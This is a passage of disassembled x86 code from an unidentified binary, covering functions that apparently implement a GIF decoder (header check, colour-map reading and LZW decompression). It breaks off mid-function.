		jz	short loc_413123
		jmp	short loc_4130E1
; ---------------------------------------------------------------------------


loc_41311D:				; CODE XREF: sub_4130C4+30j
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_413123:				; CODE XREF: sub_4130C4+55j
		xor	eax, eax
		inc	eax


loc_413126:				; CODE XREF: sub_4130C4+29j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4130C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41312A	proc near		; CODE XREF: sub_402C86+10Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_413137
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413137:				; CODE XREF: sub_41312A+7j
		push	edi
		mov	edi, [esi+38h]
		test	byte ptr [edi],	8
		jnz	short loc_41314E
		mov	dword_421D3C, 6Fh
		xor	eax, eax
		jmp	short loc_413194
; ---------------------------------------------------------------------------


loc_41314E:				; CODE XREF: sub_41312A+14j
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_413160
		push	eax
		call	sub_414373
		and	dword ptr [esi+2Ch], 0
		pop	ecx


loc_413160:				; CODE XREF: sub_41312A+29j
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_413172
		push	eax
		call	sub_414373
		and	dword ptr [esi+10h], 0
		pop	ecx


loc_413172:				; CODE XREF: sub_41312A+3Bj
		push	edi
		call	sub_40CCC5
		cmp	dword ptr [esi+30h], 0
		pop	ecx
		jz	short loc_41318A
		push	esi
		call	sub_4143D6
		and	dword ptr [esi+30h], 0
		pop	ecx


loc_41318A:				; CODE XREF: sub_41312A+53j
		push	esi
		call	sub_40CCC5
		xor	eax, eax
		pop	ecx
		inc	eax


loc_413194:				; CODE XREF: sub_41312A+22j
		pop	edi
		pop	esi
		retn
sub_41312A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413197	proc near		; CODE XREF: sub_413334+25p
					; sub_413334+35p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [eax+38h]
		push	2
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+3Ch]
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_4131BE
		mov	dword_421D3C, 66h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4131BE:				; CODE XREF: sub_413197+17j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		leave
		retn
sub_413197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131D5	proc near		; CODE XREF: sub_4139FE+5Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+38h]
		push	1
		lea	eax, [ebp+arg_0+3]
		push	eax
		push	edi
		call	dword ptr [esi+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_413200


loc_4131F2:				; CODE XREF: sub_4131D5+59j
		mov	dword_421D3C, 66h
		xor	eax, eax
		jmp	short loc_41323B
; ---------------------------------------------------------------------------


loc_413200:				; CODE XREF: sub_4131D5+1Bj
		mov	dl, byte ptr [ebp+arg_0+3]
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		cmp	dl, al
		jbe	short loc_413230
		lea	eax, [esi+44h]
		mov	[ecx], eax
		mov	[eax], dl
		movzx	edx, byte ptr [ebp+arg_0+3]
		mov	ecx, [ecx]
		mov	eax, [edi+38h]
		push	edx
		inc	ecx
		push	ecx
		push	edi
		call	dword ptr [eax+3Ch]
		movzx	ecx, byte ptr [ebp+arg_0+3]
		add	esp, 0Ch
		cmp	eax, ecx
		jz	short loc_413238
		jmp	short loc_4131F2
; ---------------------------------------------------------------------------


loc_413230:				; CODE XREF: sub_4131D5+35j
		mov	[ecx], eax
		mov	[esi+44h], al
		mov	[esi+34h], eax


loc_413238:				; CODE XREF: sub_4131D5+57j
		xor	eax, eax
		inc	eax


loc_41323B:				; CODE XREF: sub_4131D5+29j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41323F	proc near		; CODE XREF: sub_41344D+1CEp

var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [eax+38h]
		push	edi
		push	1
		lea	ecx, [ebp+var_1]
		push	ecx
		push	eax
		call	dword ptr [esi+3Ch]
		movzx	ecx, [ebp+var_1]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		xor	edx, edx
		add	esp, 0Ch
		mov	[esi+8], ecx
		mov	[esi+0Ch], eax
		inc	eax
		mov	[esi+10h], eax
		inc	eax
		mov	[esi+14h], eax
		xor	eax, eax
		inc	ecx
		inc	eax
		shl	eax, cl
		mov	[esi+18h], ecx
		lea	edi, [esi+2144h]
		mov	[esi+44h], dl
		mov	[esi+1Ch], eax
		mov	eax, 1002h
		mov	[esi+20h], eax
		mov	[esi+28h], edx
		mov	[esi+2Ch], edx
		mov	[esi+30h], edx
		mov	ecx, 1000h
		rep stosd
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41323F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132A2	proc near		; CODE XREF: sub_413803+F9p
					; sub_413803:loc_4139B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	ecx, ecx
		jmp	short loc_4132B8
; ---------------------------------------------------------------------------


loc_4132A6:				; CODE XREF: sub_4132A2+1Aj
		mov	edx, ecx
		inc	ecx
		cmp	edx, 0FFFh
		jg	short locret_4132BE
		mov	edx, [esp+arg_0]
		mov	eax, [edx+eax*4]


loc_4132B8:				; CODE XREF: sub_4132A2+2j
		cmp	eax, [esp+arg_4]
		jg	short loc_4132A6

locret_4132BE:				; CODE XREF: sub_4132A2+Dj
		retn
sub_4132A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132BF	proc near		; CODE XREF: sub_413683+2Ep

arg_0		= dword	ptr  4

		cmp	byte ptr [esi],	0
		push	edi
		jnz	short loc_41331D
		mov	eax, [ebx+38h]
		push	1
		push	esi
		push	ebx
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_4132E5


loc_4132D7:				; CODE XREF: sub_4132BF+4Fj
		mov	dword_421D3C, 66h


loc_4132E1:				; CODE XREF: sub_4132BF+36j
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4132E5:				; CODE XREF: sub_4132BF+16j
		mov	al, [esi]
		test	al, al
		jnz	short loc_4132F7
		mov	dword_421D3C, 70h
		jmp	short loc_4132E1
; ---------------------------------------------------------------------------


loc_4132F7:				; CODE XREF: sub_4132BF+2Aj
		mov	ecx, [ebx+38h]
		movzx	eax, al
		push	eax
		lea	edi, [esi+1]
		push	edi
		push	ebx
		call	dword ptr [ecx+3Ch]
		movzx	ecx, byte ptr [esi]
		add	esp, 0Ch
		cmp	eax, ecx
		jnz	short loc_4132D7
		mov	al, [edi]
		mov	ecx, [esp+4+arg_0]
		mov	[ecx], al
		mov	byte ptr [edi],	2
		jmp	short loc_41332D
; ---------------------------------------------------------------------------


loc_41331D:				; CODE XREF: sub_4132BF+4j
		movzx	eax, byte ptr [esi+1]
		mov	al, [eax+esi]
		mov	ecx, [esp+4+arg_0]
		mov	[ecx], al
		inc	byte ptr [esi+1]


loc_41332D:				; CODE XREF: sub_4132BF+5Cj
		dec	byte ptr [esi]
		xor	eax, eax
		inc	eax
		pop	edi
		retn
sub_4132BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413334	proc near		; CODE XREF: sub_402C86+C7p
					; sub_413720+BAp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+38h]
		test	byte ptr [eax],	8
		push	edi
		jnz	short loc_413356
		mov	dword_421D3C, 6Fh


loc_41334F:				; CODE XREF: sub_413334+2Dj
					; sub_413334+3Dj ...
		xor	eax, eax


loc_413351:				; CODE XREF: sub_413334+114j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413356:				; CODE XREF: sub_413334+Fj
		push	esi
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41334F
		lea	eax, [esi+4]
		push	eax
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41334F
		mov	eax, [esi+38h]
		push	3
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 3
		jz	short loc_413394


loc_413388:				; CODE XREF: sub_413334+108j
		mov	dword_421D3C, 66h
		jmp	short loc_41334F
; ---------------------------------------------------------------------------


loc_413394:				; CODE XREF: sub_413334+52j
		movzx	eax, byte ptr [ebp+arg_0]
		mov	ecx, eax
		shr	ecx, 4
		and	ecx, 7
		inc	ecx
		mov	[esi+8], ecx
		movzx	ecx, byte ptr [ebp+arg_0+1]
		and	eax, 7
		inc	eax
		test	byte ptr [ebp+arg_0], 80h
		mov	[esi+0Ch], ecx
		jz	loc_413441
		xor	edx, edx
		inc	edx
		mov	ecx, eax
		shl	edx, cl
		xor	edi, edi
		push	edi
		push	edx
		call	sub_41430E
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[esi+10h], eax
		jnz	short loc_4133E1
		mov	dword_421D3C, 6Dh
		jmp	loc_41334F
; ---------------------------------------------------------------------------


loc_4133E1:				; CODE XREF: sub_413334+9Cj
		xor	ebx, ebx
		cmp	[eax], edi
		jle	short loc_413445


loc_4133E7:				; CODE XREF: sub_413334+F7j
		mov	eax, [esi+38h]
		push	3
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 3
		jnz	short loc_41342F
		mov	eax, [esi+10h]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[edi+eax], cl
		mov	eax, [esi+10h]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0+1]
		mov	[eax+edi+1], cl
		mov	eax, [esi+10h]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0+2]
		mov	[eax+edi+2], cl
		mov	eax, [esi+10h]
		inc	ebx
		add	edi, 3
		cmp	ebx, [eax]
		jl	short loc_4133E7
		jmp	short loc_413445
; ---------------------------------------------------------------------------


loc_41342F:				; CODE XREF: sub_413334+C6j
		push	dword ptr [esi+10h]
		call	sub_414373
		and	dword ptr [esi+10h], 0
		pop	ecx
		jmp	loc_413388
; ---------------------------------------------------------------------------


loc_413441:				; CODE XREF: sub_413334+7Fj
		and	dword ptr [esi+10h], 0


loc_413445:				; CODE XREF: sub_413334+B1j
					; sub_413334+F9j
		xor	eax, eax
		inc	eax
		jmp	loc_413351
sub_413334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41344D	proc near		; CODE XREF: sub_402C86+5Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+38h]
		test	byte ptr [eax],	8
		push	edi
		mov	[ebp+var_8], eax
		jnz	short loc_413474
		mov	dword_421D3C, 6Fh


loc_41346D:				; CODE XREF: sub_41344D+35j
					; sub_41344D+45j ...
		xor	eax, eax


loc_41346F:				; CODE XREF: sub_41344D+1D6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413474:				; CODE XREF: sub_41344D+14j
		lea	eax, [esi+18h]
		push	eax
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41346D
		lea	eax, [esi+1Ch]
		push	eax
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41346D
		lea	eax, [esi+20h]
		push	eax
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41346D
		lea	eax, [esi+24h]
		push	eax
		mov	eax, esi
		call	sub_413197
		test	eax, eax
		pop	ecx
		jz	short loc_41346D
		mov	eax, [esi+38h]
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_4134D5
		mov	dword_421D3C, 66h
		jmp	short loc_41346D
; ---------------------------------------------------------------------------


loc_4134D5:				; CODE XREF: sub_41344D+7Aj
		movzx	eax, byte ptr [ebp+arg_0]
		mov	edi, eax
		and	edi, 7
		and	eax, 40h
		inc	edi
		xor	ebx, ebx
		test	byte ptr [ebp+arg_0], 80h
		mov	[esi+28h], eax
		mov	eax, [esi+2Ch]
		jz	loc_41359B
		cmp	eax, ebx
		jz	short loc_413504
		cmp	[esi+30h], ebx
		jnz	short loc_413504
		push	eax
		call	sub_414373
		pop	ecx


loc_413504:				; CODE XREF: sub_41344D+A9j
					; sub_41344D+AEj
		xor	eax, eax
		inc	eax
		mov	ecx, edi
		shl	eax, cl
		push	ebx
		push	eax
		call	sub_41430E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[esi+2Ch], eax
		jnz	short loc_41352A


loc_41351B:				; CODE XREF: sub_41344D+178j
					; sub_41344D+1ADj
		mov	dword_421D3C, 6Dh
		jmp	loc_41346D
; ---------------------------------------------------------------------------


loc_41352A:				; CODE XREF: sub_41344D+CCj
		cmp	[eax], ebx
		mov	[ebp+var_4], ebx
		jle	short loc_4135A9
		xor	edi, edi


loc_413533:				; CODE XREF: sub_41344D+12Fj
		mov	eax, [esi+38h]
		push	3
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 3
		jnz	short loc_413580
		mov	eax, [esi+2Ch]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0]
		inc	[ebp+var_4]
		mov	[edi+eax], cl
		mov	eax, [esi+2Ch]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0+1]
		mov	[eax+edi+1], cl
		mov	eax, [esi+2Ch]
		mov	eax, [eax+8]
		mov	cl, byte ptr [ebp+arg_0+2]
		mov	[eax+edi+2], cl
		mov	eax, [esi+2Ch]
		mov	ecx, [ebp+var_4]
		add	edi, 3
		cmp	ecx, [eax]
		jl	short loc_413533
		jmp	short loc_4135A9
; ---------------------------------------------------------------------------


loc_413580:				; CODE XREF: sub_41344D+F9j
		push	dword ptr [esi+2Ch]
		call	sub_414373
		mov	dword_421D3C, 66h
		pop	ecx
		mov	[esi+2Ch], ebx
		jmp	loc_41346D
; ---------------------------------------------------------------------------


loc_41359B:				; CODE XREF: sub_41344D+A1j
		cmp	eax, ebx
		jz	short loc_4135A9
		push	eax
		call	sub_414373
		pop	ecx
		mov	[esi+2Ch], ebx


loc_4135A9:				; CODE XREF: sub_41344D+E2j
					; sub_41344D+131j ...
		mov	eax, [esi+30h]
		cmp	eax, ebx
		jz	short loc_413628
		mov	ecx, [esi+14h]
		inc	ecx
		imul	ecx, 28h
		push	ecx
		push	eax
		call	sub_40CCAD
		pop	ecx


loc_4135BF:				; CODE XREF: sub_41344D+1E2j
		cmp	eax, ebx
		pop	ecx
		mov	[esi+30h], eax
		jz	loc_41351B
		mov	edi, [esi+14h]
		imul	edi, 28h
		add	edi, eax
		push	18h
		lea	eax, [esi+18h]
		push	eax
		push	edi
		call	sub_40CCF7
		mov	eax, [esi+2Ch]
		add	esp, 0Ch
		cmp	eax, ebx
		jz	short loc_413600
		push	dword ptr [eax+8]
		push	dword ptr [eax]
		call	sub_41430E
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi+14h], eax
		jz	loc_41351B


loc_413600:				; CODE XREF: sub_41344D+19Aj
		mov	ecx, [ebp+var_8]
		mov	[edi+18h], ebx
		mov	[edi+20h], ebx
		mov	[edi+24h], ebx
		mov	eax, [esi+20h]
		imul	eax, [esi+24h]
		inc	dword ptr [esi+14h]
		mov	[ecx+34h], eax
		mov	eax, esi
		call	sub_41323F
		xor	eax, eax
		inc	eax
		jmp	loc_41346F
; ---------------------------------------------------------------------------


loc_413628:				; CODE XREF: sub_41344D+161j
		push	28h
		call	sub_40CC7F
		jmp	short loc_4135BF
sub_41344D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413631	proc near		; CODE XREF: sub_402C86+E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+38h]
		test	byte ptr [eax],	8
		jnz	short loc_41364E
		mov	dword_421D3C, 6Fh


loc_41364A:				; CODE XREF: sub_413631+39j
		xor	eax, eax
		jmp	short loc_413680
; ---------------------------------------------------------------------------


loc_41364E:				; CODE XREF: sub_413631+Dj
		push	1
		lea	ecx, [ebp+arg_0+3]
		push	ecx
		push	esi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 1
		jz	short loc_41366C
		mov	dword_421D3C, 66h
		jmp	short loc_41364A
; ---------------------------------------------------------------------------


loc_41366C:				; CODE XREF: sub_413631+2Dj
		movzx	eax, byte ptr [ebp+arg_0+3]
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		push	esi
		mov	[ecx], eax
		call	sub_4130C4
		pop	ecx
		pop	ecx


loc_413680:				; CODE XREF: sub_413631+1Bj
		pop	esi
		pop	ebp
		retn
sub_413631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413683	proc near		; CODE XREF: sub_413803+57p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		push	edi
		mov	edi, [ebx+38h]
		mov	eax, [edi+18h]
		cmp	eax, 0Ch
		jle	short loc_4136A4
		mov	dword_421D3C, 70h
		xor	eax, eax
		jmp	short loc_413718
; ---------------------------------------------------------------------------


loc_4136A4:				; CODE XREF: sub_413683+11j
		cmp	[edi+2Ch], eax
		push	esi
		jge	short loc_4136D4
		lea	esi, [edi+44h]


loc_4136AD:				; CODE XREF: sub_413683+4Fj
		lea	eax, [ebp+var_1]
		push	eax
		call	sub_4132BF
		test	eax, eax
		pop	ecx
		jz	short loc_41371C
		mov	ecx, [edi+2Ch]
		movzx	eax, [ebp+var_1]
		shl	eax, cl
		add	ecx, 8
		mov	[edi+2Ch], ecx
		or	[edi+30h], eax
		mov	eax, ecx
		cmp	eax, [edi+18h]
		jl	short loc_4136AD


loc_4136D4:				; CODE XREF: sub_413683+25j
		mov	eax, [edi+18h]
		movzx	eax, word_421C80[eax*2]
		and	eax, [edi+30h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	ecx, [edi+18h]
		mov	eax, [edi+14h]
		shr	dword ptr [edi+30h], cl
		sub	[edi+2Ch], ecx
		cmp	eax, 1001h
		jge	short loc_413714
		mov	edx, [edi+1Ch]
		inc	eax
		cmp	eax, edx
		mov	[edi+14h], eax
		jle	short loc_413714
		cmp	ecx, 0Ch
		jge	short loc_413714
		lea	eax, [edx+edx]
		inc	ecx
		mov	[edi+1Ch], eax
		mov	[edi+18h], ecx


loc_413714:				; CODE XREF: sub_413683+75j
					; sub_413683+80j ...
		xor	eax, eax
		inc	eax


loc_413717:				; CODE XREF: sub_413683+9Bj
		pop	esi


loc_413718:				; CODE XREF: sub_413683+1Fj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41371C:				; CODE XREF: sub_413683+36j
		xor	eax, eax
		jmp	short loc_413717
sub_413683	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413720	proc near		; CODE XREF: sub_402C86+28p

var_8		= byte ptr -8
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	edi
		push	3Ch
		call	sub_40CC7F
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_413748
		mov	dword_421D3C, 6Dh
		xor	eax, eax
		jmp	loc_4137FF
; ---------------------------------------------------------------------------


loc_413748:				; CODE XREF: sub_413720+15j
		push	esi
		push	3Ch
		push	ebx
		push	edi
		call	sub_40CCD9
		push	6148h
		call	sub_40CC7F
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jnz	short loc_413777
		push	edi
		mov	dword_421D3C, 6Dh
		call	sub_40CCC5
		jmp	short loc_4137F1
; ---------------------------------------------------------------------------


loc_413777:				; CODE XREF: sub_413720+43j
		mov	eax, [ebp+arg_4]
		mov	[edi+38h], esi
		mov	[esi+3Ch], eax
		mov	eax, [ebp+arg_0]
		push	6
		lea	ecx, [ebp+var_8]
		mov	[esi+4], ebx
		mov	[esi+38h], ebx
		mov	dword ptr [esi], 8
		push	ecx
		mov	[edi+34h], eax
		mov	eax, [edi+38h]
		push	edi
		call	dword ptr [eax+3Ch]
		add	esp, 0Ch
		cmp	eax, 6
		jz	short loc_4137B3
		mov	dword_421D3C, 66h
		jmp	short loc_4137E4
; ---------------------------------------------------------------------------


loc_4137B3:				; CODE XREF: sub_413720+85j
		push	3
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aGifver	; "GIFVER"
		mov	[ebp+var_2], bl
		call	sub_40CD53
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4137D9
		mov	dword_421D3C, 67h
		jmp	short loc_4137E4
; ---------------------------------------------------------------------------


loc_4137D9:				; CODE XREF: sub_413720+ABj
		push	edi
		call	sub_413334
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F6


loc_4137E4:				; CODE XREF: sub_413720+91j
					; sub_413720+B7j
		push	esi
		call	sub_40CCC5
		push	edi
		call	sub_40CCC5
		pop	ecx


loc_4137F1:				; CODE XREF: sub_413720+55j
		pop	ecx
		xor	eax, eax
		jmp	short loc_4137FE
; ---------------------------------------------------------------------------


loc_4137F6:				; CODE XREF: sub_413720+C2j
		mov	dword_421D3C, ebx
		mov	eax, edi


loc_4137FE:				; CODE XREF: sub_413720+D4j
		pop	esi


loc_4137FF:				; CODE XREF: sub_413720+23j
		pop	edi
		pop	ebx
		leave
		retn
sub_413720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413803	proc near		; CODE XREF: sub_4139FE+47p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ecx+38h]
		mov	ecx, [esi+10h]
		mov	ebx, [esi+28h]
		push	edi
		mov	edi, [esi+20h]
		mov	[ebp+var_18], ecx
		mov	ecx, [esi+0Ch]
		xor	eax, eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], edi
		jmp	short loc_413843
; ---------------------------------------------------------------------------


loc_41382B:				; CODE XREF: sub_413803+45j
		cmp	eax, [ebp+arg_8]
		jge	loc_4139D4
		mov	cl, [esi+ebx+143h]
		mov	edx, [ebp+arg_4]
		dec	ebx
		mov	[eax+edx], cl
		inc	eax


loc_413843:				; CODE XREF: sub_413803+26j
		test	ebx, ebx
		mov	[ebp+var_4], eax
		jnz	short loc_41382B
		cmp	eax, [ebp+arg_8]
		jge	loc_4139D4


loc_413853:				; CODE XREF: sub_413803+1CBj
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		call	sub_413683
		test	eax, eax
		pop	ecx
		jz	loc_4139E2
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnz	short loc_41388F
		mov	eax, [ebp+arg_8]
		dec	eax
		cmp	[ebp+var_4], eax
		jnz	loc_4139E6
		cmp	dword ptr [esi+34h], 0
		jnz	loc_4139E6
		inc	[ebp+var_4]
		jmp	loc_4139C8
; ---------------------------------------------------------------------------


loc_41388F:				; CODE XREF: sub_413803+6Bj
		cmp	eax, [ebp+var_8]
		jnz	short loc_4138C4
		mov	eax, 1002h
		mov	ecx, 1000h
		lea	edi, [esi+2144h]
		rep stosd
		mov	ecx, [esi+10h]
		inc	ecx
		mov	[esi+14h], ecx
		mov	ecx, [esi+8]
		xor	edx, edx
		inc	ecx
		inc	edx
		shl	edx, cl
		mov	[esi+18h], ecx
		mov	[esi+20h], eax
		mov	[esi+1Ch], edx
		jmp	loc_4139C3
; ---------------------------------------------------------------------------


loc_4138C4:				; CODE XREF: sub_413803+8Fj
		jge	short loc_4138D7
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+var_4]
		mov	[edx+ecx], al
		jmp	loc_41398C
; ---------------------------------------------------------------------------


loc_4138D7:				; CODE XREF: sub_413803:loc_4138C4j
		lea	ecx, [esi+2144h]
		cmp	dword ptr [ecx+eax*4], 1002h
		jnz	short loc_413919
		mov	edx, [esi+14h]
		dec	edx
		dec	edx
		cmp	eax, edx
		jnz	loc_4139F2
		push	[ebp+var_8]
		mov	eax, edi
		push	ecx
		mov	[ebp+var_10], edi
		call	sub_4132A2
		pop	ecx
		mov	[esi+ebx+144h],	al
		pop	ecx
		mov	ecx, [esi+14h]
		mov	[esi+ecx+1141h], al
		inc	ebx
		mov	ecx, edi
		jmp	short loc_41391B
; ---------------------------------------------------------------------------


loc_413919:				; CODE XREF: sub_413803+E1j
		mov	ecx, eax


loc_41391B:				; CODE XREF: sub_413803+114j
		xor	eax, eax


loc_41391D:				; CODE XREF: sub_413803+146j
		inc	eax
		cmp	ecx, [ebp+var_8]
		mov	edi, 0FFFh
		jle	short loc_41394C
		cmp	ecx, edi
		jg	short loc_41394C
		mov	dl, [ecx+esi+1143h]
		mov	[esi+ebx+144h],	dl
		lea	edx, [esi+2144h]
		mov	ecx, [edx+ecx*4]
		inc	ebx
		cmp	eax, edi
		mov	[ebp+var_10], ecx
		jle	short loc_41391D
		inc	eax


loc_41394C:				; CODE XREF: sub_413803+123j
					; sub_413803+127j
		cmp	eax, edi
		jge	loc_4139F2
		cmp	ecx, edi
		jg	loc_4139F2
		inc	ebx
		mov	[esi+ebx+143h],	cl
		jz	short loc_413986


loc_413966:				; CODE XREF: sub_413803+181j
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_4], eax
		jge	short loc_413986
		mov	edx, [ebp+var_4]
		mov	al, [esi+ebx+143h]
		mov	ecx, [ebp+arg_4]
		dec	ebx
		inc	[ebp+var_4]
		test	ebx, ebx
		mov	[edx+ecx], al
		jnz	short loc_413966


loc_413986:				; CODE XREF: sub_413803+161j
					; sub_413803+169j
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_14]


loc_41398C:				; CODE XREF: sub_413803+CFj
		cmp	edi, 1002h
		jz	short loc_4139C0
		mov	edx, [esi+14h]
		push	[ebp+var_8]
		lea	ecx, [esi+2144h]
		mov	[ecx+edx*4-8], edi
		mov	edi, [esi+14h]
		lea	edx, [edi-2]
		cmp	eax, edx
		push	ecx
		jnz	short loc_4139B2
		mov	eax, [ebp+var_C]


loc_4139B2:				; CODE XREF: sub_413803+1AAj
		call	sub_4132A2
		pop	ecx
		mov	[edi+esi+1141h], al
		pop	ecx


loc_4139C0:				; CODE XREF: sub_413803+18Fj
		mov	eax, [ebp+var_14]


loc_4139C3:				; CODE XREF: sub_413803+BCj
		mov	edi, eax
		mov	[ebp+var_C], eax


loc_4139C8:				; CODE XREF: sub_413803+87j
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_4], eax
		jl	loc_413853


loc_4139D4:				; CODE XREF: sub_413803+2Bj
					; sub_413803+4Aj
		xor	eax, eax
		mov	[esi+20h], edi
		mov	[esi+28h], ebx
		inc	eax


loc_4139DD:				; CODE XREF: sub_413803+1E1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4139E2:				; CODE XREF: sub_413803+5Fj
					; sub_413803+1EDj ...
		xor	eax, eax
		jmp	short loc_4139DD
; ---------------------------------------------------------------------------


loc_4139E6:				; CODE XREF: sub_413803+74j
					; sub_413803+7Ej
		mov	dword_421D3C, 71h
		jmp	short loc_4139E2
; ---------------------------------------------------------------------------


loc_4139F2:				; CODE XREF: sub_413803+EAj
					; sub_413803+14Bj ...
		mov	dword_421D3C, 70h
		jmp	short loc_4139E2
sub_413803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139FE	proc near		; CODE XREF: sub_402C86+98p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+38h]
		test	byte ptr [esi],	8
		jnz	short loc_413A1E
		mov	dword_421D3C, 6Fh


loc_413A18:				; CODE XREF: sub_4139FE+40j
